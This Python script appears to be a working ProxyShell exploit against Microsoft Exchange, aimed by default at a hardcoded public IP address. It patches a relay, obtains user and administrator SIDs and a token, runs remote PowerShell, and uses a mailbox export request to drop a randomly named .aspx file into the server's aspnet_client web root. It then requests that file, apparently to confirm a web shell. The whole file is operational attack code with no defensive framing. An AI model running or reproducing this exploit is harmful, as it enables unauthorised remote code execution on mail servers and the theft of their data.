#!/usr/bin/env python3
import sys, time, random, re
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

host = sys.argv[1] if len(sys.argv) > 1 else '197.159.29.214'

# --- patch relay to log upstream ---
def do_POST(self):
    powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
    length = int(self.headers['content-length'])
    ct = self.headers['content-type']
    data = self.rfile.read(length).decode()
    data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', data)
    data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', data)
    print(f"[RELAY] req len={len(data)} ct={ct}", flush=True)
    try:
        r = self.proxyshell.post(powershell_url, data, {'Content-Type': ct})
        resp = r.content
        print(f"[RELAY] upstream status={r.status_code} len={len(resp)} ct={r.headers.get('Content-Type')}", flush=True)
        print(f"[RELAY] head={resp[:400]!r}", flush=True)
    except Exception as ex:
        print(f"[RELAY] EXC {type(ex).__name__}: {ex}", flush=True)
        resp = b''
    self.send_response(200); self.end_headers(); self.wfile.write(resp)
P.PwnServer.do_POST = do_POST

ps = P.ProxyShell(f"https://{host}", timeout=25)
print("fqdn:", ps.get_fqdn(), flush=True)
print("dn:", ps.get_legacydn(), flush=True)
print("email:", ps.email, flush=True)
ps.get_sid()
print("user_sid:", ps.sid, "admin_sid:", ps.admin_sid, flush=True)

import sys as _s
mode = _s.argv[2] if len(_s.argv) > 2 else 'user'
ps.sid = ps.sid if mode == 'user' else ps.admin_sid
print("EWS using", mode, "sid =", ps.sid, flush=True)
print("EWS:", ps.set_ews(), flush=True)

saved = ps.sid
ps.sid = ps.admin_sid
print("token:", bool(ps.get_token()), flush=True)

port = random.randint(20000, 40000)
P.start_server(ps, port)
time.sleep(1)

def run(s):
    print(f"\n>>> {s}", flush=True)
    try:
        o, e = P.wsman_shell(s, port)
        for x in o: print("OUT:", str(x)[:500], flush=True)
        if e:
            for x in e: print("ERR:", str(x)[:500], flush=True)
    except Exception as ex:
        print("   EXC:", type(ex).__name__, str(ex)[:300], flush=True)

run('Get-Mailbox -ResultSize 1')
name = P.rand_string(6) + '.aspx'
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
       '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
run(cmd)
time.sleep(10)
url = f"https://{host}/aspnet_client/{name}"
try:
    r = requests.get(url, verify=False, timeout=15)
    print(f"[FILE] {url} -> {r.status_code} len={len(r.content)} head={r.content[:60]!r}", flush=True)
except Exception as ex:
    print("[FILE] EXC", ex, flush=True)
